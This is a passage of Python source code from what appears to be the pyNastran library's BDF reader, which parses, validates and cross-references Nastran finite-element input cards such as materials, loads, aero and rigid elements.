return elif isinstance(cards, string_types): disable_set = set([cards]) else: disable_set = set(cards) self.cards_to_read = self.cards_to_read.difference(disable_set) def set_error_storage(self, nparse_errors=100, stop_on_parsing_error=True, nxref_errors=100, stop_on_xref_error=True): """ Catch parsing errors and store them up to print them out all at once (not all errors are caught). Parameters ---------- nparse_errors : int how many parse errors should be stored (default=0; all=None; no storage=0) stop_on_parsing_error : bool should an error be raised if there are parsing errors (default=True) nxref_errors : int how many cross-reference errors should be stored (default=0; all=None; no storage=0) stop_on_xref_error : bool should an error be raised if there are cross-reference errors (default=True) """ assert isinstance(nparse_errors, int), type(nparse_errors) assert isinstance(nxref_errors, int), type(nxref_errors) self._nparse_errors = nparse_errors self._nxref_errors = nxref_errors self._stop_on_parsing_error = stop_on_parsing_error self._stop_on_xref_error = stop_on_xref_error def validate(self): """runs some checks on the input data beyond just type checking""" return #for eid, elem in sorted(iteritems(model.elements)): #elem.validate() for nid, node in sorted(iteritems(self.nodes)): node.validate() for cid, coord in sorted(iteritems(self.coords)): coord.validate() for eid, elem in sorted(iteritems(self.elements)): elem.validate() for pid, prop in sorted(iteritems(self.properties)): prop.validate() for eid, elem in sorted(iteritems(self.rigid_elements)): elem.validate() for eid, plotel in sorted(iteritems(self.plotels)): plotel.validate() #for eid, mass in sorted(iteritems(self.masses)): #mass.validate() for pid, property_mass in sorted(iteritems(self.properties_mass)): property_mass.validate() #------------------------------------------------ for mid, mat in sorted(iteritems(self.materials)): mat.validate() for mid, mat in sorted(iteritems(self.thermal_materials)): mat.validate() for mid, mat in sorted(iteritems(self.MATS1)): mat.validate() for mid, mat in sorted(iteritems(self.MATS3)): mat.validate() for mid, mat in sorted(iteritems(self.MATS8)): mat.validate() for mid, mat in sorted(iteritems(self.MATT1)): mat.validate() for mid, mat in sorted(iteritems(self.MATT2)): mat.validate() for mid, mat in sorted(iteritems(self.MATT3)): mat.validate() for mid, mat in sorted(iteritems(self.MATT4)): mat.validate() for mid, mat in sorted(iteritems(self.MATT5)): mat.validate() for mid, mat in sorted(iteritems(self.MATT8)): mat.validate() for mid, mat in sorted(iteritems(self.MATT9)): mat.validate() for mid, mat in sorted(iteritems(self.creep_materials)): mat.validate() for mid, mat in sorted(iteritems(self.hyperelastic_materials)): mat.validate() #------------------------------------------------ for key, loads in sorted(iteritems(self.loads)): for loadi in loads: loadi.validate() for key, tic in sorted(iteritems(self.tics)): tic.validate() for key, dloads in sorted(iteritems(self.dloads)): for dload in dloads: dload.validate() for key, dload_entries in sorted(iteritems(self.dload_entries)): for dload_entry in dload_entries: dload_entry.validate() #------------------------------------------------ for key, nlpci in sorted(iteritems(self.nlpcis)): nlpci.validate() for key, nlparm in sorted(iteritems(self.nlparms)): nlparm.validate() for key, tstep in sorted(iteritems(self.tsteps)): tstep.validate() for key, tstepnl in sorted(iteritems(self.tstepnls)): tstepnl.validate() for key, transfer_functions in sorted(iteritems(self.transfer_functions)): for transfer_function in transfer_functions: transfer_function.validate() for key, delay in sorted(iteritems(self.delays)): delay.validate() #------------------------------------------------ if self.aeros is not None: self.aeros.validate() for caero_id, caero in sorted(iteritems(self.caeros)): caero.validate() for key, paero in sorted(iteritems(self.paeros)): paero.validate() for spline_id, spline in sorted(iteritems(self.splines)): spline.validate() for key, aecomp in sorted(iteritems(self.aecomps)): aecomp.validate() for key, aefact in sorted(iteritems(self.aefacts)): aefact.validate() for key, aelinks in sorted(iteritems(self.aelinks)): for aelink in aelinks: aelink.validate() for key, aeparam in sorted(iteritems(self.aeparams)): aeparam.validate() for key, aesurf in sorted(iteritems(self.aesurf)): aesurf.validate() for key, aesurfs in sorted(iteritems(self.aesurfs)): aesurfs.validate() for key, aestat in sorted(iteritems(self.aestats)): aestat.validate() for key, trim in sorted(iteritems(self.trims)): trim.validate() for key, diverg in sorted(iteritems(self.divergs)): diverg.validate() for key, csschd in sorted(iteritems(self.csschds)): csschd.validate() #self.monitor_points = [] #------------------------------------------------ if self.aero is not None: self.aero.validate() for key, flfact in sorted(iteritems(self.flfacts)): flfact.validate() for key, flutter in sorted(iteritems(self.flutters)): flutter.validate() for key, gust in sorted(iteritems(self.gusts)): gust.validate() #self.mkaeros = [] #------------------------------------------------ for key, bcs in sorted(iteritems(self.bcs)): for bc in bcs: bc.validate() for key, phbdy in sorted(iteritems(self.phbdys)): phbdy.validate() for key, convection_property in sorted(iteritems(self.convection_properties)): convection_property.validate() for key, tempd in sorted(iteritems(self.tempds)): tempd.validate() #------------------------------------------------ for key, bcrpara in sorted(iteritems(self.bcrparas)): bcrpara.validate() for key, bctadd in sorted(iteritems(self.bctadds)): bctadd.validate() for key, bctpara in sorted(iteritems(self.bctparas)): bctpara.validate() for key, bctset in sorted(iteritems(self.bctsets)): bctset.validate() for key, bsurf in sorted(iteritems(self.bsurf)): bsurf.validate() for key, bsurfs in sorted(iteritems(self.bsurfs)): bsurfs.validate() #------------------------------------------------ for key, suport1 in sorted(iteritems(self.suport1)): suport1.validate() for suport in self.suport: suport.validate() for se_suport in self.se_suport: se_suport.validate() for key, spcs in sorted(iteritems(self.spcs)): for spc in spcs: spc.validate() for key, spcadd in sorted(iteritems(self.spcadds)): spcadd.validate() for key, mpcs in sorted(iteritems(self.mpcs)): for mpc in mpcs: mpc.validate() for key, mpcadd in sorted(iteritems(self.mpcadds)): mpcadd.validate() #------------------------------------------------ #for key, darea in sorted(iteritems(self.dareas)): #darea.validate() #for key, dphase in sorted(iteritems(self.dphases)): #dphase.validate() for pid, pbusht in sorted(iteritems(self.pbusht)): pbusht.validate() for pid, pdampt in sorted(iteritems(self.pdampt)): pdampt.validate() for pid, pelast in sorted(iteritems(self.pelast)): pelast.validate() for pid, frequency in sorted(iteritems(self.frequencies)): frequency.validate() #------------------------------------------------ for key, dmi in sorted(iteritems(self.dmis)): dmi.validate() for key, dmig in sorted(iteritems(self.dmigs)): dmig.validate() for key, dmij in sorted(iteritems(self.dmijs)): dmij.validate() for key, dmiji in sorted(iteritems(self.dmijis)): dmiji.validate() for key, dmik in sorted(iteritems(self.dmiks)): dmik.validate() #------------------------------------------------ #self.asets = [] #self.bsets = [] #self.csets = [] #self.qsets = [] #self.usets = {} ##: SExSETy #self.se_bsets = [] #self.se_csets = [] #self.se_qsets = [] #self.se_usets = {} #self.se_sets = {} for key, sets in sorted(iteritems(self.sets)): sets.validate() for key, uset in sorted(iteritems(self.usets)): for useti in uset: useti.validate() for aset in self.asets: aset.validate() for bset in self.bsets: bset.validate() for cset in self.csets: cset.validate() for qset in self.qsets: qset.validate() for key, se_set in sorted(iteritems(self.se_sets)): se_set.validate() for key, se_uset in sorted(iteritems(self.se_usets)): se_uset.validate() for se_bset in self.se_bsets: se_bset.validate() for se_cset in self.se_csets: se_cset.validate() for se_qset in self.se_qsets: se_qset.validate() #------------------------------------------------ for key, table in sorted(iteritems(self.tables)): table.validate() for key, random_table in sorted(iteritems(self.random_tables)): random_table.validate() for key, table_sdamping in sorted(iteritems(self.tables_sdamping)): table_sdamping.validate() #------------------------------------------------ for key, method in sorted(iteritems(self.methods)): method.validate() for key, cmethod in sorted(iteritems(self.cMethods)): cmethod.validate() #------------------------------------------------ for key, dconadd in sorted(iteritems(self.dconadds)): dconadd.validate() for key, dconstrs in sorted(iteritems(self.dconstrs)): for dconstr in dconstrs: dconstr.validate() for key, desvar in sorted(iteritems(self.desvars)): desvar.validate() for key, ddval in sorted(iteritems(self.ddvals)): ddval.validate() for key, dlink in sorted(iteritems(self.dlinks)): dlink.validate() for key, dresp in sorted(iteritems(self.dresps)): dresp.validate() if self.dtable is not None: self.dtable.validate() if self.doptprm is not None: self.doptprm.validate() for key, dequation in sorted(iteritems(self.dequations)): dequation.validate() for key, dvprel in sorted(iteritems(self.dvprels)): dvprel.validate() for key, dvmrel in sorted(iteritems(self.dvmrels)): dvmrel.validate() for key, dvcrel in sorted(iteritems(self.dvcrels)): dvcrel.validate() for key, dscreen in sorted(iteritems(self.dscreen)): dscreen.validate() for dvid, dvgrid in iteritems(self.dvgrids): dvgrid.validate() #------------------------------------------------ def read_bdf(self, bdf_filename=None, validate=True, xref=True, punch=False, read_includes=True, encoding=None): """ Read method for the bdf files Parameters ---------- bdf_filename : str / None the input bdf (default=None; popup a dialog) validate : bool runs various checks on the BDF (default=True) xref : bool should the bdf be cross referenced (default=True) punch : bool indicates whether the file is a punch file (default=False) read_includes : bool indicates whether INCLUDE files should be read (default=True) encoding : str the unicode encoding (default=None; system default) .. code-block:: python >>> bdf = BDF() >>> bdf.read_bdf(bdf_filename, xref=True) >>> g1 = bdf.Node(1) >>> print(g1.get_position()) [10.0, 12.0, 42.0] >>> bdf.write_card(bdf_filename2) >>> print(bdf.card_stats()) ---BDF Statistics--- SOL 101 bdf.nodes = 20 bdf.elements = 10 etc. """ self._read_bdf_helper(bdf_filename, encoding, punch, read_includes) self._parse_primary_file_header(bdf_filename) self.log.debug('---starting BDF.read_bdf of %s---' % self.bdf_filename) executive_control_lines, case_control_lines, \ bulk_data_lines = self._get_lines(self.bdf_filename, self.punch) self.case_control_lines = case_control_lines self.executive_control_lines = executive_control_lines sol, method, sol_iline = parse_executive_control_deck(executive_control_lines) self.update_solution(sol, method, sol_iline) self.case_control_deck = CaseControlDeck(self.case_control_lines, self.log) #print(self.object_attributes()) self.case_control_deck.solmap_to_value = self._solmap_to_value self.case_control_deck.rsolmap_to_str = self.rsolmap_to_str if self._is_cards_dict: cards, card_count = self.get_bdf_cards_dict(bulk_data_lines) else: cards, card_count = self.get_bdf_cards(bulk_data_lines) self._parse_cards(cards, card_count) if 0 and self.values_to_skip: for key, values in iteritems(self.values_to_skip): dict_values = getattr(self, key) if not isinstance(dict_values, dict): msg = '%r is an invalid type; only dictionaries are supported' % key raise TypeError(msg) for value in values: del dict_values[value] # TODO: redo get_card_ids_by_card_types & card_count #self.pop_parse_errors() self.fill_dmigs() if validate: self.validate() self.cross_reference(xref=xref) self._xref = xref self.log.debug('---finished BDF.read_bdf of %s---' % self.bdf_filename) #self.pop_xref_errors() def _read_bdf_helper(self, bdf_filename, encoding, punch, read_includes): """creates the file loading if bdf_filename is None""" #self.set_error_storage(nparse_errors=None, stop_on_parsing_error=True, # nxref_errors=None, stop_on_xref_error=True) if encoding is None: encoding = sys.getdefaultencoding() self._encoding = encoding if bdf_filename is None: from pyNastran.utils.gui_io import load_file_dialog wildcard_wx = "Nastran BDF (*.bdf; *.dat; *.nas; *.pch, *.ecd)|" \ "*.bdf;*.dat;*.nas;*.pch|" \ "All files (*.*)|*.*" wildcard_qt = "Nastran BDF (*.bdf *.dat *.nas *.pch *.ecd);;All files (*)" title = 'Please select a BDF/DAT/PCH/ECD to load' bdf_filename = load_file_dialog(title, wildcard_wx, wildcard_qt)[0] assert bdf_filename is not None, bdf_filename if not os.path.exists(bdf_filename): msg = 'cannot find bdf_filename=%r\n%s' % (bdf_filename, print_bad_path(bdf_filename)) raise IOError(msg) if bdf_filename.lower().endswith('.pch'): # .. todo:: should this be removed??? punch = True #: the active filename (string) self.bdf_filename = bdf_filename #: is this a punch file (no executive control deck) self.punch = punch self.read_includes = read_includes self.active_filenames = [] def fill_dmigs(self): """fills the DMIx cards with the column data that's been stored""" return for name, card_comments in iteritems(self._dmig_temp): card0, comment0 = card_comments[0] card_name = card0[0] card_name = card_name.rstrip(' *').upper() if card_name == 'DMIG': # if field2 == 'UACCEL': # special DMIG card card = self.dmigs[name] elif card_name == 'DMI': card = self.dmis[name] elif card_name == 'DMIJ': card = self.dmijs[name] elif card_name == 'DMIJI': card = self.dmijis[name] elif card_name == 'DMIK': card = self.dmiks[name] else: raise NotImplementedError(card_name) for (card_obj, comment) in card_comments: card._add_column(card_obj, comment=comment) card.finalize() self._dmig_temp = defaultdict(list) def pop_parse_errors(self): """raises an error if there are parsing errors""" if self._stop_on_parsing_error: if self._iparse_errors == 1 and self._nparse_errors == 0: raise is_error = False msg = '' if self._duplicate_elements: duplicate_eids = [elem.eid for elem in self._duplicate_elements] uduplicate_eids = np.unique(duplicate_eids) msg += 'self.elements IDs are not unique=%s\n' % uduplicate_eids for eid in uduplicate_eids: msg += 'old_element=\n%s\n' % self.elements[eid].print_repr_card() msg += 'new_elements=\n' for elem, eidi in zip(self._duplicate_elements, duplicate_eids): if eidi == eid: msg += elem.print_repr_card() msg += '\n' is_error = True raise DuplicateIDsError(msg) if self._duplicate_properties: duplicate_pids = [prop.pid for prop in self._duplicate_properties] uduplicate_pids = np.unique(duplicate_pids) msg += 'self.properties IDs are not unique=%s\n' % uduplicate_pids for pid in duplicate_pids: msg += 'old_property=\n%s\n' % self.properties[pid].print_repr_card() msg += 'new_properties=\n' for prop, pidi in zip(self._duplicate_properties, duplicate_pids): if pidi == pid: msg += prop.print_repr_card() msg += '\n' is_error = True if self._duplicate_masses: duplicate_eids = [elem.eid for elem in self._duplicate_masses] uduplicate_eids = np.unique(duplicate_eids) msg += 'self.massses IDs are not unique=%s\n' % uduplicate_eids for eid in uduplicate_eids: msg += 'old_mass=\n%s\n' % self.masses[eid].print_repr_card() msg += 'new_masses=\n' for elem, eidi in zip(self._duplicate_masses, duplicate_eids): if eidi == eid: msg += elem.print_repr_card() msg += '\n' is_error = True if self._duplicate_materials: duplicate_mids = [mat.mid for mat in self._duplicate_materials] uduplicate_mids = np.unique(duplicate_mids) msg += 'self.materials IDs are not unique=%s\n' % uduplicate_mids for mid in uduplicate_mids: msg += 'old_material=\n%s\n' % self.materials[mid].print_repr_card() msg += 'new_materials=\n' for mat, midi in zip(self._duplicate_materials, duplicate_mids): if midi == mid: msg += mat.print_repr_card() msg += '\n' is_error = True if self._duplicate_thermal_materials: duplicate_mids = [mat.mid for mat in self._duplicate_thermal_materials] uduplicate_mids = np.unique(duplicate_mids) msg += 'self.thermal_materials IDs are not unique=%s\n' % uduplicate_mids for mid in uduplicate_mids: msg += 'old_thermal_material=\n%s\n' % ( self.thermal_materials[mid].print_repr_card()) msg += 'new_thermal_materials=\n' for mat, midi in zip(self._duplicate_thermal_materials, duplicate_mids): if midi == mid: msg += mat.print_repr_card() msg += '\n' is_error = True if self._duplicate_coords: duplicate_cids = [coord.cid for coord in self._duplicate_coords] uduplicate_cids = np.unique(duplicate_cids) msg += 'self.coords IDs are not unique=%s\n' % uduplicate_cids for cid in uduplicate_cids: msg += 'old_coord=\n%s\n' % self.coords[cid].print_repr_card() msg += 'new_coords=\n' for coord, cidi in zip(self._duplicate_coords, duplicate_cids): if cidi == cid: msg += coord.print_repr_card() msg += '\n' is_error = True if is_error: msg = 'There are dupliate cards.\n\n' + msg if self._stop_on_xref_error: msg += 'There are parsing errors.\n\n' for (card, an_error) in self._stored_parse_errors: msg += '%scard=%s\n' % (an_error[0], card) msg += 'xref errror: %s\n\n'% an_error[0] is_error = True if is_error: self.log.error('%s' % msg) raise DuplicateIDsError(msg.rstrip()) def pop_xref_errors(self): """raises an error if there are cross-reference errors""" is_error = False if self._stop_on_xref_error: if self._ixref_errors == 1 and self._nxref_errors == 0: raise if self._stored_xref_errors: msg = 'There are cross-reference errors.\n\n' for (card, an_error) in self._stored_xref_errors: msg += '%scard=%s\n' % (an_error[0], card) is_error = True if is_error and self._stop_on_xref_error: raise CrossReferenceError(msg.rstrip()) def get_bdf_cards(self, bulk_data_lines): """Parses the BDF lines into a list of card_lines""" cards = [] #cards = defaultdict(list) card_count = defaultdict(int) full_comment = '' card_lines = [] old_card_name = None backup_comment = '' nlines = len(bulk_data_lines) for i, line in enumerate(bulk_data_lines): #print(' backup=%r' % backup_comment) comment = '' if '$' in line: line, comment = line.split('$', 1) card_name = line.split(',', 1)[0].split('\t', 1)[0][:8].rstrip().upper() if card_name and card_name[0] not in ['+', '*']: if old_card_name: if self.echo: self.log.info('Reading %s:\n' % old_card_name + full_comment + ''.join(card_lines)) # old dictionary version # cards[old_card_name].append([full_comment, card_lines]) # new list version #if full_comment: #print('full_comment = ', full_comment) cards.append([old_card_name, _prep_comment(full_comment), card_lines]) card_count[old_card_name] += 1 card_lines = [] full_comment = '' if old_card_name == 'ECHOON': self.echo = True elif old_card_name == 'ECHOOFF': self.echo = False old_card_name = card_name.rstrip(' *') if old_card_name == 'ENDDATA': self.card_count['ENDDATA'] = 1 if nlines - i > 1: nleftover = nlines - i - 1 msg = 'exiting due to ENDDATA found with %i lines left' % nleftover self.log.debug(msg) return cards, card_count #print("card_name = %s" % card_name) comment = _clean_comment(comment) if line.rstrip(): card_lines.append(line) if backup_comment: if comment: full_comment += backup_comment + comment + '\n' else: full_comment += backup_comment backup_comment = '' elif comment: full_comment += comment + '\n' backup_comment = '' elif comment: backup_comment += comment + '\n' #print('add backup=%r' % backup_comment) #elif comment: #backup_comment += '$' + comment + '\n' if card_lines: if self.echo: self.log.info('Reading %s:\n' % old_card_name + full_comment + ''.join(card_lines)) #print('end_add %s' % card_lines) # old dictionary version #cards[old_card_name].append([backup_comment + full_comment, card_lines]) # new list version #if backup_comment + full_comment: #print('backup_comment + full_comment = ', backup_comment + full_comment) cards.append([old_card_name, _prep_comment(backup_comment + full_comment), card_lines]) card_count[old_card_name] += 1 return cards, card_count def get_bdf_cards_dict(self, bulk_data_lines): """Parses the BDF lines into a list of card_lines""" cards = defaultdict(list) card_count = defaultdict(int) full_comment = '' card_lines = [] old_card_name = None backup_comment = '' nlines = len(bulk_data_lines) for i, line in enumerate(bulk_data_lines): #print(' backup=%r' % backup_comment) comment = '' if '$' in line: line, comment = line.split('$', 1) card_name = line.split(',', 1)[0].split('\t', 1)[0][:8].rstrip().upper() if card_name and card_name[0] not in ['+', '*']: if old_card_name: if self.echo: self.log.info('Reading %s:\n' % old_card_name + full_comment + ''.join(card_lines)) # old dictionary version cards[old_card_name].append([full_comment, card_lines]) # new list version #cards.append([old_card_name, full_comment, card_lines]) card_count[old_card_name] += 1 card_lines = [] full_comment = '' if old_card_name == 'ECHOON': self.echo = True elif old_card_name == 'ECHOOFF': self.echo = False old_card_name = card_name.rstrip(' *') if old_card_name == 'ENDDATA': self.card_count['ENDDATA'] = 1 if nlines - i > 1: nleftover = nlines - i - 1 msg = 'exiting due to ENDDATA found with %i lines left' % nleftover self.log.debug(msg) return cards, card_count #print("card_name = %s" % card_name) comment = _clean_comment(comment) if line.rstrip(): card_lines.append(line) if backup_comment: if comment: full_comment += backup_comment + comment + '\n' else: full_comment += backup_comment backup_comment = '' elif comment: full_comment += comment + '\n' backup_comment = '' elif comment: backup_comment += comment + '\n' #print('add backup=%r' % backup_comment) #elif comment: #backup_comment += comment + '\n' if card_lines: if self.echo: self.log.info('Reading %s:\n' % old_card_name + full_comment + ''.join(card_lines)) #print('end_add %s' % card_lines) # old dictionary version cards[old_card_name].append([backup_comment + full_comment, card_lines]) # new list version #cards.append([old_card_name, backup_comment + full_comment, card_lines]) card_count[old_card_name] += 1 return cards, card_count def update_solution(self, sol, method, sol_iline): """ Updates the overall solution type (e.g. 101,200,600) Parameters ---------- sol : int the solution type (101, 103, etc) method : str the solution method (only for SOL=600) sol_iline : int the line to put the SOL/method on """ self.sol_iline = sol_iline # the integer of the solution type (e.g. SOL 101) if sol is None: self.sol = None self.sol_method = None return try: self.sol = int(sol) except ValueError: try: self.sol = self._solmap_to_value[sol] except KeyError: self.sol = sol if self.sol == 600: #: solution 600 method modifier self.sol_method = method.strip() self.log.debug("sol=%s method=%s" % (self.sol, self.sol_method)) else: # very common self.sol_method = None def set_dynamic_syntax(self, dict_of_vars): """ Uses the OpenMDAO syntax of %varName in an embedded BDF to update the values for an optimization study. Parameters ---------- dict_of_vars : dict[str] = int/float/str dictionary of 7 character variable names to map. .. code-block:: python GRID, 1, %xVar, %yVar, %zVar >>> dict_of_vars = {'xVar': 1.0, 'yVar', 2.0, 'zVar':3.0} >>> bdf = BDF() >>> bdf.set_dynamic_syntax(dict_of_vars) >>> bdf,read_bdf(bdf_filename, xref=True) .. note:: Case sensitivity is supported. .. note:: Variables should be 7 characters or less to fit in an 8-character field. .. warning:: Type matters! """ self.dict_of_vars = {} assert len(dict_of_vars) > 0, 'nvars = %s' % len(dict_of_vars) for (key, value) in sorted(iteritems(dict_of_vars)): assert len(key) <= 7, ('max length for key is 7; ' 'len(%s)=%s' % (key, len(key))) assert len(key) >= 1, ('min length for key is 1; ' 'len(%s)=%s' % (key, len(key))) if not isinstance(key, string_types): msg = 'key=%r must be a string. type=%s' % (key, type(key)) raise TypeError(msg) self.dict_of_vars[key] = value self._is_dynamic_syntax = True def is_reject(self, card_name): """ Can the card be read. If the card is rejected, it's added to self.reject_count Parameters ---------- card_name : str the card_name -> 'GRID' """ if card_name.startswith('='): return False elif card_name in self.cards_to_read: return False if card_name: if card_name not in self.reject_count: self.reject_count[card_name] = 0 self.reject_count[card_name] += 1 return True def process_card(self, card_lines): """ Converts card_lines into a card. Considers dynamic syntax and removes empty fields Parameters ---------- card_lines : List[str] list of strings that represent the card's lines Returns ------- fields : list[str] the parsed card's fields card_name : str the card's name .. code-block:: python >>> card_lines = ['GRID,1,,1.0,2.0,3.0,,'] >>> model = BDF() >>> fields, card_name = model.process_card(card_lines) >>> fields ['GRID', '1', '', '1.0', '2.0', '3.0'] >>> card_name 'GRID' """ card_name = self._get_card_name(card_lines) fields = to_fields(card_lines, card_name) if self._is_dynamic_syntax: fields = [self._parse_dynamic_syntax(field) if '%' in field[0:1] else field for field in fields] card = wipe_empty_fields(fields) card[0] = card_name return card def create_card_object(self, card_lines, card_name, is_list=True, has_none=True): """ Creates a BDFCard object, which is really just a list that allows indexing past the last field Parameters ---------- card_lines: list[str] the list of the card fields input is list of card_lines -> ['GRID, 1, 2, 3.0, 4.0, 5.0'] card_name : str the card_name -> 'GRID' is_list : bool; default=True True : this is a list of fields False : this is a list of lines has_none : bool; default=True can there be trailing Nones in the card data (e.g. ['GRID, 1, 2, 3.0, 4.0, 5.0, ']) Returns ------- card_object : BDFCard() the card object representation of card card : list[str] the card with empty fields removed """ card_name = card_name.upper() self._increase_card_count(card_name) if card_name in ['DEQATN', 'PBRSECT', 'PBMSECT']: card_obj = card_lines card = card_lines else: if is_list: fields = card_lines else: fields = to_fields(card_lines, card_name) # apply OPENMDAO syntax if self._is_dynamic_syntax: fields = [print_field_16(self._parse_dynamic_syntax(field)) if '%' in field.strip()[0:1] else print_field_16(field) for field in fields] has_none = False if has_none: card = wipe_empty_fields([print_field_16(field) for field in fields]) else: #card = remove_trailing_fields(fields) card = wipe_empty_fields(fields) card_obj = BDFCard(card, has_none=False) return card_obj, card def create_card_object_list(self, card_lines, card_name, has_none=True): """ Creates a BDFCard object, which is really just a list that allows indexing past the last field Parameters ---------- card_lines: list[str] the list of the card lines input is list of lines -> ['GRID, 1, 2, 3.0, 4.0, 5.0'] card_name : str the card_name -> 'GRID' has_none : bool; default=True ??? Returns ------- card_obj : BDFCard the BDFCard object card : list[str] the card with empty fields removed """ card_name = card_name.upper() self._increase_card_count(card_name) if card_name in ['DEQATN', 'PBRSECT', 'PBMSECT']: card_obj = card_lines card = card_lines else: fields = card_lines # apply OPENMDAO syntax if self._is_dynamic_syntax: fields = [print_field_16(self._parse_dynamic_syntax(field)) if '%' in field.strip()[0:1] else print_field_16(field) for field in fields] has_none = False if has_none: card = wipe_empty_fields([print_field_16(field) for field in fields]) else: #card = remove_trailing_fields(fields) card = wipe_empty_fields(fields) card_obj = BDFCard(card, has_none=False) return card_obj, card def create_card_object_fields(self, card_lines, card_name, has_none=True): """ Creates a BDFCard object, which is really just a list that allows indexing past the last field Parameters ---------- card_lines: list[str] the list of the card fields input is list of fields -> ['GRID', '1', '2', '3.0', '4.0', '5.0'] card_name : str the card_name -> 'GRID' has_none : bool; default=True can there be trailing Nones in the card data (e.g. ['GRID', '1', '2', '3.0', '4.0', '5.0']) Returns ------- card_obj : BDFCard the BDFCard object card : list[str] the card with empty fields removed """ card_name = card_name.upper() self._increase_card_count(card_name) if card_name in ['DEQATN', 'PBRSECT', 'PBMSECT']: card_obj = card_lines card = card_lines else: fields = to_fields(card_lines, card_name) # apply OPENMDAO syntax if self._is_dynamic_syntax: fields = [print_field_16(self._parse_dynamic_syntax(field)) if '%' in field.strip()[0:1] else print_field_16(field) for field in fields] has_none = False if has_none: card = wipe_empty_fields([print_field_16(field) for field in fields]) else: #card = remove_trailing_fields(fields) card = wipe_empty_fields(fields) card_obj = BDFCard(card, has_none=False) return card_obj, card def _make_card_parser(self): """creates the card parser variables that are used by add_card""" class Crash(object): """class for crashing on specific cards""" def __init__(self): """dummy init""" pass @classmethod def add_card(cls, card, comment=''): """the method that forces the crash""" raise NotImplementedError(card) self._card_parser = { #'=' : (Crash, None), '/' : (Crash, None), # nodes #'GRID' : (GRID, self.add_node), #'SPOINT' : (SPOINTs, self.add_spoint), #'EPOINT' : (EPOINTs, self.add_epoint), #'POINT' : (POINT, self.add_point), 'PARAM' : (PARAM, self.add_param), #'CORD2R' : (CORD2R, self._add_coord_object), #'CORD2C' : (CORD2C, self._add_coord_object), #'CORD2S' : (CORD2S, self._add_coord_object), #'GMCORD' : (GMCORD, self._add_coord_object), 'PLOTEL' : (PLOTEL, self.add_plotel), #'CONROD' : (CONROD, self.add_element), #'CROD' : (CROD, self.add_element), #'PROD' : (PROD, self.add_property), #'CTUBE' : (CTUBE, self.add_element), #'PTUBE' : (PTUBE, self.add_property), #'CBAR' : (CBAR, self.add_element), #'PBAR' : (PBAR, self.add_property), #'PBARL' : (PBARL, self.add_property), #'PBRSECT' : (PBRSECT, self.add_property), #'CBEAM' : (CBEAM, self.add_element), #'PBEAM' : (PBEAM, self.add_property), #'PBEAML' : (PBEAML, self.add_property), #'PBCOMP' : (PBCOMP, self.add_property), #'PBMSECT' : (PBMSECT, self.add_property), #'CBEAM3' : (CBEAM3, self.add_element), #'PBEAM3' : (PBEAM3, self.add_property), #'CBEND' : (CBEND, self.add_element), #'PBEND' : (PBEND, self.add_property), #'CTRIA3' : (CTRIA3, self.add_element), #'CQUAD4' : (CQUAD4, self.add_element), #'CQUAD' : (CQUAD, self.add_element), #'CQUAD8' : (CQUAD8, self.add_element), #'CQUADX' : (CQUADX, self.add_element), #'CQUADR' : (CQUADR, self.add_element), #'CTRIA6' : (CTRIA6, self.add_element), #'CTRIAR' : (CTRIAR, self.add_element), #'CTRIAX' : (CTRIAX, self.add_element), #'CTRIAX6' : (CTRIAX6, self.add_element), #'PCOMP' : (PCOMP, self.add_property), #'PCOMPG' : (PCOMPG, self.add_property), #'PSHELL' : (PSHELL, self.add_property), #'PLPLANE' : (PLPLANE, self.add_property), #'CPLSTN3' : (CPLSTN3, self.add_element), #'CPLSTN4' : (CPLSTN4, self.add_element), #'CPLSTN6' : (CPLSTN6, self.add_element), #'CPLSTN8' : (CPLSTN8, self.add_element), #'PPLANE' : (PPLANE, self.add_property), #'CSHEAR' : (CSHEAR, self.add_element), #'PSHEAR' : (PSHEAR, self.add_property), #'CTETRA' : (CTETRA, self.add_element), #'CPYRAM' : (CPYRAM, self.add_element), #'CPENTA' : (CPENTA, self.add_element), #'CHEXA' : (CHEXA, self.add_element), #'CIHEX1' : (CIHEX1, self.add_element), #'PIHEX' : (PIHEX, self.add_property), #'PSOLID' : (PSOLID, self.add_property), #'PLSOLID' : (PLSOLID, self.add_property), #'PCOMPS' : (PCOMPS, self.add_property), #'CELAS1' : (CELAS1, self.add_element), #'CELAS2' : (CELAS2, self.add_element), #'CELAS3' : (CELAS3, self.add_element), #'CELAS4' : (CELAS4, self.add_element), #'CVISC' : (CVISC, self.add_element), #'PELAST' : (PELAST, self.add_PELAST), #'CDAMP1' : (CDAMP1, self.add_damper), #'CDAMP2' : (CDAMP2, self.add_damper), #'CDAMP3' : (CDAMP3, self.add_damper), # CDAMP4 added later because the documentation is wrong #'CDAMP5' : (CDAMP5, self.add_damper), #'PDAMP5' : (PDAMP5, self.add_property), #'CFAST' : (CFAST, self.add_damper), #'PFAST' : (PFAST, self.add_property), #'CGAP' : (CGAP, self.add_element), #'PGAP' : (PGAP, self.add_property), #'CBUSH' : (CBUSH, self.add_damper), #'CBUSH1D' : (CBUSH1D, self.add_damper), #'CBUSH2D' : (CBUSH2D, self.add_damper), #'PBUSH' : (PBUSH, self.add_property), #'PBUSH1D' : (PBUSH1D, self.add_property), #'CRAC2D' : (CRAC2D, self.add_element), #'PRAC2D' : (PRAC2D, self.add_property), #'CRAC3D' : (CRAC3D, self.add_element), #'PRAC3D' : (PRAC3D, self.add_property), #'PDAMPT' : (PDAMPT, self.add_PDAMPT), #'PBUSHT' : (PBUSHT, self.add_PBUSHT), #'PCONEAX' : (PCONEAX, self.add_property), 'RBAR' : (RBAR, self.add_rigid_element), 'RBAR1' : (RBAR1, self.add_rigid_element), 'RBE1' : (RBE1, self.add_rigid_element), 'RBE2' : (RBE2, self.add_rigid_element), 'RBE3' : (RBE3, self.add_rigid_element), 'RROD' : (RROD, self.add_rigid_element), 'RSPLINE' : (RSPLINE, self.add_rigid_element), ## there is no MAT6 or MAT7 #'MAT1' : (MAT1, self.add_structural_material), #'MAT2' : (MAT2, self.add_structural_material), #'MAT3' : (MAT3, self.add_structural_material), #'MAT8' : (MAT8, self.add_structural_material), #'MAT9' : (MAT9, self.add_structural_material), #'MAT10' : (MAT10, self.add_structural_material), #'MAT11' : (MAT11, self.add_structural_material), #'EQUIV' : (EQUIV, self.add_structural_material), #'MATHE' : (MATHE, self.add_hyperelastic_material), #'MATHP' : (MATHP, self.add_hyperelastic_material), #'MAT4' : (MAT4, self.add_thermal_material), #'MAT5' : (MAT5, self.add_thermal_material), #'MATS1' : (MATS1, self.add_material_dependence), ##'MATS3' : (MATS3, self.add_material_dependence), ##'MATS8' : (MATS8, self.add_material_dependence), #'MATT1' : (MATT1, self.add_material_dependence), #'MATT2' : (MATT2, self.add_material_dependence), 